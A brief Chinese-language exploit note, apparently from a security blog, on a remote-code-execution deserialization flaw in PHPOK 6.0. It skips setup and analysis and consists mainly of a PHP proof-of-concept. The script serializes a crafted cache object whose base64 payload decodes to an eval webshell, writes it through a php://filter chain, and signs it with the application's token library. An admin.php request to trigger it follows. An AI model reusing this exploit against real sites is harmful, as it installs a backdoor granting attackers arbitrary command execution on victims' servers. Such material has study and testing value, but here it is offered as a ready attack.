PHPOK 6.0 RCE反序列化

环境搭建

略~

漏洞原理

不分析了~
清晰明了 的反序列化

<?php  
include "framework/libs/token.php";  
include "framework/libs/file.php";  
class cache  
{  
    protected $key_id = './cc';  
    protected $key_list = 'aaaaaPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=';  
    protected $folder = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=';  
}  
  
//echo serialize(new cache());  
  
$token = new token_lib();  
$file = new file_lib();  
$keyid = $file->cat("./index.php");  
$token->keyid($keyid);  
echo $token->encode(new cache());

admin.php?c=login&f=update&fid=../index&fcode=cc&quickcode=xxxxxxxxxxxxxx

漏洞利用